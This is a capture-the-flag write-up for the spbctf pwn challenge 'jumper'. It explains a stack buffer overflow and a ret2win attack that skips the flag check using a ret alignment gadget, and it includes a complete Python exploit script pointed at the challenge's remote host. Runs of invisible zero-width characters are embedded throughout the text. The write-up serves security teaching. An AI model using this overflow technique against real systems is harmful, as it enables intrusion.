← Back to Writeups
CUSTOMEasypwn

jumper

XESXOR9/2/20263 min read
#pwn#custom#easy#jump_past_authorization_check#ret2win#stack_alignment_fix_with_ret_g#stack_buffer_overflow

jumper

Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Easy | OS: NA | Author: XESXOR | Date: 2026-07-02 | Status: Solved Techniques: jump_past_authorization_check, ret2win, stack_alignment_fix_with_ret_gadget, stack_buffer_overflow

Summary

Task: x86-64 pwn binary (No PIE, No canary) reads 0x200 bytes into a 0x108 stack buffer, causing a classic stack overflow; a read_flag routine gates flag printing behind an impossible pointer-equality check. Solution: ret2win overwriting saved RIP to jump PAST the check into the flag-printing body, plus a bare ret gadget to fix 16-byte stack alignment for glibc movaps.

jumper — spbctf

Description

Enter your login at pwn.spbctf.ru:

Remote: nc 109.233.56.90 11590 Binary: task_jumper (provided at https://pwn.spbctf.ru/files/canary/task_jumper)

A 64-bit ELF prompts for a "login", reads it, then compares the input against a data pointer inside a read_flag routine. On a (never-satisfiable) match it opens flag.txt and prints it. The goal is to obtain the flag.

Analysis

Binary properties (checksec / rabin2)

  • ELF 64-bit x86-64, dynamically linked, not stripped, BuildID 063880228111e05c19fe6a184c06f793ea317ac1
  • No PIE (base 0x400000)
  • No stack canary
  • NX enabled
  • Partial RELRO ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The combination No PIE + No canary means any hard-coded code address is stable and there is no stack cookie to bypass — a textbook ret2win setup.

Key functions

  • main (0x4008bc): sets up buffering, calls logic.
  • logic (0x40087e): sub rsp, 0x108; prints Enter your login at pwn.spbctf.ru:; calls read_n(rsp, 0x200); then calls read_flag(rdi=rsp, rsi=0x6010a0 <data>).
  • read_n (0x400757): reads up to N bytes one-by-one via read() into a buffer, stopping at EOF or newline. Here N = 0x200 (512) but the destination buffer in logic is only 0x108 (264) bytes → stack buffer overflow.
  • read_flag (0x4007d2): compares arg1 (rdi, the input buffer pointer) with arg2 (rsi, the data pointer): cmp rax,[rsp]; je 0x4007fb.
    • If equal, execution falls into the flag-printing body at 0x4007fb: fopen("flag.txt","r"), memset, fread 0x80 bytes, fclose, puts the contents, exit(0).
    • Otherwise it prints Sorry, no flag for you... and returns. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The vulnerability

read_n reads 512 bytes into a 264-byte buffer. The offset from the start of the buffer to the saved return address of logic is exactly 0x108 = 264 bytes.

The pointer-equality check inside read_flag compares two distinct pointers (the input buffer vs the global data), so it can never be satisfied with normal input. Instead of trying to satisfy it, we jump past the check — the "jumper" hint — by overwriting the saved RIP with 0x4007fb, the flag-printing body that sits right after the je target. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

  1. Fill the 264-byte buffer + saved RBP region to reach the saved return address.
  2. Place a bare ret gadget (0x4005de) to realign the stack to a 16-byte boundary. Without this, glibc's movaps (used inside fopen/fread/puts) faults on a misaligned stack (SIGSEGV).
  3. Place the win address 0x4007fb (the flag body, immediately past the je authorization check).

Addresses:

PurposeAddress
RET gadget (alignment)0x4005de
WIN (flag-printing body, past check)0x4007fb
Overflow offset to saved RIP0x108
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Final payload:

payload = b"A"*0x108 + p64(0x4005de) + p64(0x4007fb)

Exploit script

python
#!/usr/bin/env python3
import socket, struct, time

HOST = "109.233.56.90"
PORT = 11590

def p64(x): return struct.pack("<Q", x)

RET = 0x4005de   # bare `ret` gadget -> restores 16-byte stack alignment
WIN = 0x4007fb   # read_flag body, immediately past the pointer-equality check
OFF = 0x108      # bytes to overwrite saved RIP of logic()

payload = b"A"*OFF + p64(RET) + p64(WIN)

s = socket.socket()
s.settimeout(5)
s.connect((HOST, PORT))
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

data = b""
time.sleep(0.3)
try:
    data += s.recv(4096)   # banner / prompt
except socket.timeout:
    pass

s.sendall(payload + b"\n")
time.sleep(0.5)
while True:
    try:
        chunk = s.recv(4096)
        if not chunk:
            break
        data += chunk
    except socket.timeout:
        break
s.close()

print(data.decode(errors="replace"))

Sending this to the remote returns the flag. The variant without the alignment ret (b"A"*0x108 + p64(WIN)) may crash inside glibc due to movaps on a misaligned stack; the aligned variant works reliably. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍